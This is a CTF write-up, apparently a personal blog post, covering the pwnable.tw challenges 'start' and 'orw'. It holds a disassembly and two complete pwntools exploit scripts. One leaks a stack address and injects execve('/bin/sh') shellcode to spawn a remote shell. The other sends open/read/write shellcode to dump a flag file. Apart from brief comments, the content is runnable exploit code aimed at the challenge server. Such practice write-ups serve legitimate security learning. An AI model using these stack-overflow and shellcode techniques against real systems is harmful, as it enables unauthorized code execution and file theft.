# Start ## Information - Category: Pwn ## Description > Don't know how to start?<br /> > Check GEF 101 - Solving pwnable.tw/start by @_hugsy ## Write-up 熟悉又陌生？没错你被骗了。 保护全关，泄漏栈地址打 shellcode 。 ```asm showLineNumbers=false _start _start ; Segment type: Pure code _start ; Segment permissions: Read/Execute _start _text segment para public 'CODE' use32 _start assume cs:_text _start ;org 8048060h _start assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing _start _start _start _start ; int start() _start public _start _start _start proc near _start push esp _start+1 push offset _exit _start+6 xor eax, eax _start+8 xor ebx, ebx _start+A xor ecx, ecx _start+C xor edx, edx _start+E push 3A465443h _start+13 push 20656874h _start+18 push 20747261h _start+1D push 74732073h _start+22 push 2774654Ch _start+27 mov ecx, esp ; addr _start+29 mov dl, 14h ; len _start+2B mov bl, 1 ; fd _start+2D mov al, 4 _start+2F int 80h ; LINUX - sys_write _start+31 xor ebx, ebx _start+33 mov dl, 3Ch ; '<' _start+35 mov al, 3 _start+37 int 80h ; LINUX - _start+39 add esp, 14h _start+3C retn _start+3C _start endp ; sp-analysis failed _start+3C _exit _exit _exit ; Attributes: noreturn _exit _exit ; void exit(int status) _exit _exit proc near _exit _exit status= dword ptr 4 _exit _exit pop esp _exit+1 xor eax, eax _exit+3 inc eax _exit+4 int 80h ; LINUX - sys_exit _exit+4 _exit endp ; sp-analysis failed _exit+4 _exit+4 _text ends _exit+4 _exit+4 _exit+4 end _start ``` ## Exploit ```python #!/usr/bin/env python3 import argparse from pwn import ( ELF, asm, context, flat, process, raw_input, remote, ) parser = argparse.ArgumentParser() parser.add_argument("-L", "--local", action="store_true", help="Run locally") parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB") parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q EMU") parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun t") args = parser.parse_args() FILE = "./start" HOST, PORT = "chall.pwnable.tw", 10000 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = elf.libc def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(argv=None, envp=None): global target, thread if argv is None: argv = [FILE] if args.local and args.threads is not None: raise ValueError("Options -L and -T cannot be used together.") if args.local: if args.gdb and "qemu" in argv[0]: if "-g" not in argv: argv.insert(1, str(args.port)) argv.insert(1, "-g") target = process(argv, env=envp) elif args.threads: if args.threads <= 0: raise ValueError("Thread count must be positive.") process(FILE) thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)] else: target = remote(HOST, PORT, ssl=False) def main(): launch() target.recvuntil(b"Let's start the CTF:") raw_input("DEBUG") payload = flat( { 0: b"/bin/shx00", 0x14: elf.sym["_start"] + 39, }, filler=b"x41", ) target.send(payload) stack = int.from_bytes(target.recv(4), "little") binsh = stack - 0x1C target.success(f"stack: {hex(stack)}") target.success(f"binsh: {hex(binsh)}") payload = flat( { 0: asm( f""" mov ebx, {binsh} mov eax, 0xb xor ecx, ecx xor edx, edx int 0x80 """ ), 0x14: stack - 0x4, }, filler=b"x00", ) target.send(payload) target.interactive() if __name__ == "__main__": main() ``` # orw ## Information - Category: Pwn ## Description > Read the flag from /home/orw/flag.<br /> > Only open read write syscall are allowed to use. ## Write-up 上古时代。你怀念吗？我不…… 分享点好东西：<https://gist.github.com/CuB3y0nd/09f6e4c3db728b9d2f4714da1cac3ca0 > ## Exploit ```python #!/usr/bin/env python3 import argparse from pwn import ( ELF, asm, context, process, raw_input, remote, ) parser = argparse.ArgumentParser() parser.add_argument("-L", "--local", action="store_true", help="Run locally") parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB") parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q EMU") parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun t") args = parser.parse_args() FILE = "./orw" HOST, PORT = "chall.pwnable.tw", 10001 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = elf.libc def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(argv=None, envp=None): global target, thread if argv is None: argv = [FILE] if args.local and args.threads is not None: raise ValueError("Options -L and -T cannot be used together.") if args.local: if args.gdb and "qemu" in argv[0]: if "-g" not in argv: argv.insert(1, str(args.port)) argv.insert(1, "-g") target = process(argv, env=envp) elif args.threads: if args.threads <= 0: raise ValueError("Thread count must be positive.") process(FILE) thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)] else: target = remote(HOST, PORT, ssl=False) def main(): launch() payload = asm(""" mov ebx, 0x804a094 mov ecx, 0 mov eax, 0x5 int 0x80 mov ebx, eax mov ecx, esp mov edx, 0x1337 mov eax, 0x3 int 0x80 mov ebx, 0x1 mov ecx, esp mov edx, 0x1337 mov eax, 0x4 int 0x80 flag: .ascii "/home/orw/flag\x00" """) raw_input("DEBUG") target.send(payload) target.interactive() if __name__ == "__main__": main() ```
